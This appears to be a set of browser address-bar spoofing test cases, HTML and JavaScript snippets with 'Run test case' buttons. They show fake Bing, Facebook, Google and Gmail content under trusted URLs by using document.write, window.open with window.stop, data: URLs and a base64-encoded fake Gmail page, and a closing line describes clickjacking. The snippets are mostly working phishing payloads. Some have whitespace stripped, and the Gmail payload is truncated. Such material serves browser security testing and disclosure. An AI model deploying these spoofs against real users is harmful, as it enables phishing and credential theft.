<script>functionspoof(){document.write("<h1>This is not Bing</h1>");document.location="https://bing.com:1234";setInterval(function(){document.location="https://bing.com:1234";},9800);};</script><pclass="test"><inputclass="btnbtn-successbtn-lg"type="button"value="Run test case"onclick="spoof();"/></p>
Stop Window Open:
<pclass="test"><inputclass="btnbtn-successbtn-lg"type="button"value="Run test case"onclick="win=window.open('https://www.facebook.com:8080','WIN');window.open('https://www.bing.com', 'WIN');win.window.stop();win.document.write('This is not Facebook');win.document.close();"/></p>
Hidden Schema:
<h2>Spoof 13</h2><script>functionpocccc(){varw=open('data://google.com');w.document.body.innerHTML='This is not google';}</script><pclass="test"><inputclass="btnbtn-successbtn-lg"type="button"value="Run test case"onclick="pocccc();"/></p>
location assign:
<script>functionspoof(){vargmail='PCFET0NC8+KArOK........ZHk+PC9odG1sPg==';//The base64 encoded version of the Gmail page
x=document.body.innerHTML=atob(gmail);document.write("<title>Gmail</title>");document.write("x");window.location.assign("https://www.gmail.com:8080");}setInterval(spoof(),100000);</script>
Using Hidden UI elements above to trick a user into clicking on a button or link on another page when they were intending to click on the top level page.